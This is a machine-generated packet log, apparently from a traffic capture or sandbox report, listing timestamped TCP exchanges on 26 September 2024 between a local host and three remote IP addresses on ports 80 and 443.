Sep 26, 2024 15:10:48.139202118 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139205933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139225006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139225006 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139236927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139249086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139256001 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139262915 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139273882 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139282942 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139291048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139297962 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139305115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139317036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139328003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139343977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139347076 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139357090 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139369965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139380932 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139398098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139406919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139406919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139406919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139409065 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139420986 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139425993 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139435053 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139446974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139457941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139466047 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139468908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139487982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139498949 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139508009 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139508009 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139511108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139523029 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139535904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.139544964 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.139566898 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.142008066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142020941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142033100 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142070055 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.142103910 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.142170906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142184019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142195940 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142208099 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142227888 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.142271996 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.142854929 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142872095 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142884970 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.142904997 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.143038988 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.143049955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.143066883 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.143208981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.143224001 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.143251896 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.145314932 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.176944017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.176965952 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.176978111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.177014112 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.177026033 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.177037954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.177042961 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.177052975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.177067995 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.177112103 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.178035021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223527908 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223587036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223587036 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.223598003 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223611116 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223632097 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.223669052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223680973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223692894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223706007 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223709106 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.223731041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.223767996 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223779917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223793030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223805904 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.223824978 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.223865032 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223877907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223887920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.223952055 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224104881 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224138975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224149942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224159002 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224164963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224175930 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224180937 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224205971 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224256039 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224267006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224286079 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224296093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224308014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224314928 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224335909 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224342108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224354029 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224381924 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224421024 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224432945 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224446058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224455118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224466085 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224476099 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224857092 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224877119 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224888086 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224908113 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224925041 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.224941015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.224998951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225009918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225023031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225035906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225049973 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225065947 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225140095 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225152016 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225164890 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225177050 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225181103 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225188017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225207090 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225254059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225260019 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225266933 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225279093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225296021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225306034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225317001 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225347996 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225395918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225408077 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225419044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225430965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225434065 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225444078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225461006 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225509882 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225537062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225549936 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225560904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225574017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225584984 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225610971 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225639105 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225649118 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.225651979 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:48.225677967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:48.275501966 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:52.342907906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:52.342952013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:59.817332029 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:10:59.822205067 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:10:59.822305918 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:10:59.822767973 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:10:59.827594042 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:00.418299913 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:00.423109055 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:00.427980900 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:02.332694054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:02.576654911 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:02.589735031 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:02.594701052 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:03.750549078 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:03.791215897 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:03.801167011 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:03.801213026 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:03.801455021 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:03.810533047 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:03.810550928 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.272464991 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.272577047 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:04.275484085 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:04.275490046 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.275764942 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.322367907 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:04.493582010 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:04.535407066 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.604401112 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.604496956 CEST	443	49719	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:04.607467890 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:04.614711046 CEST	49719	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:04.674578905 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:04.679549932 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:05.831815958 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:05.834238052 CEST	49723	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:05.834301949 CEST	443	49723	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:05.834373951 CEST	49723	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:05.834707022 CEST	49723	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:05.834722996 CEST	443	49723	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:05.872643948 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:06.322679043 CEST	443	49723	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:06.333862066 CEST	49723	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:06.333945036 CEST	443	49723	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:06.480104923 CEST	443	49723	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:06.480205059 CEST	443	49723	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:06.483593941 CEST	49723	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:06.486223936 CEST	49723	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:06.494616985 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:06.499428034 CEST	49724	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:06.501151085 CEST	80	49714	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:06.501379967 CEST	49714	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:06.504491091 CEST	80	49724	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:06.504777908 CEST	49724	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:06.506280899 CEST	49724	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:06.511074066 CEST	80	49724	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:08.212405920 CEST	80	49724	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:08.214092970 CEST	49725	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:08.214144945 CEST	443	49725	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:08.214210987 CEST	49725	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:08.214478970 CEST	49725	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:08.214490891 CEST	443	49725	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:08.259888887 CEST	49724	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:08.682578087 CEST	443	49725	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:08.684220076 CEST	49725	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:08.684253931 CEST	443	49725	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:08.818804026 CEST	443	49725	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:08.819025993 CEST	443	49725	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:08.819087982 CEST	49725	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:08.819434881 CEST	49725	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:08.876976967 CEST	49726	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:08.883091927 CEST	80	49726	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:08.883179903 CEST	49726	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:08.883285999 CEST	49726	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:08.889272928 CEST	80	49726	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:08.997051954 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.002521038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.002628088 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.002895117 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.008281946 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617249966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617273092 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617285013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617336035 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.617360115 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617374897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617387056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617400885 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617405891 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.617438078 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.617455006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617506027 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617517948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.617537975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.617568970 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.622318029 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.622332096 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.622345924 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.622420073 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.705589056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.705605030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.705626011 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.705641031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.705652952 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.705666065 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.705697060 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.706084013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706095934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706108093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706130028 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.706130981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706149101 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706152916 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.706201077 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.706861019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706893921 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706906080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706938982 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706950903 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.706963062 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.707113028 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.707724094 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.707751036 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.707762957 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.707779884 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.707802057 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.707833052 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.707845926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.707889080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.708620071 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.708671093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.708683014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.708719969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.710633993 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.710647106 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.710659027 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.710684061 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.710702896 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795249939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795274019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795284986 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795319080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795326948 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795389891 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795413017 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795428038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795471907 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795479059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795491934 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795502901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795514107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795528889 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795543909 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795588017 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795866013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795914888 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.795934916 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795947075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795964956 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795977116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.795989990 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.796013117 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.796078920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796091080 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796140909 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:09.796355009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:09.796401978 CEST	80	49727	172.86.66.70	192.168.2.12
